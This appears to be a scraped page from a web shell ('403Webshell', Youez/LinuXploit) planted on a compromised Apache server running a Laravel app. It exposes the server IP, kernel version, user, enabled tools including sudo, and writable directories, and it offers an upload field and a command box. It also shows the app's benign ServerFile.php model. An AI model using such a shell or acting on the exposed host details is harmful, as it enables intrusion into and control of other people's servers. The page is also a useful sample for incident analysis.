403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/bitnami/htdocs/app/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bitnami/htdocs/app/app/Models/ServerFile.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
use Storage;

class ServerFile extends Model
{	
    use SoftDeletes;

    protected $fillable = [
        'name',
        'path',
        'type_id',
        'extension',
        'mime_type',
        'size'
    ];

    protected $hidden = [
        'path',
        'type_id',
        'extension',
        'mime_type',
        'size',
        'fileable_id',
        'fileable_type'
    ];

	const IMAGE = 1;
	const VIDEO = 2;
    public const FILETYPE = [
        self::IMAGE => 'Image',
        self::VIDEO => 'Video',
    ];

    protected $appends = [
        'file_url',
    ];

    //  accessor
    public function getTypeAttribute()
    {   
        return self::FILETYPE[$this->attributes['type_id']] ?? 'N/A';
    }
    public function getFileUrlAttribute()
    {   
        if(empty($this->attributes['path']) || $this->attributes['path'] == ''){
            return "";
        }

        $disk = Storage::disk('gcs');
        $item = $this->attributes;
        $fileName = $item['path'].'/'.$item['fileable_id'].'/'.$item['name'];

        return $url = $disk->url( $fileName );
    }

    //  relationship
	public function fileable()
    {
        return $this->morphTo();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit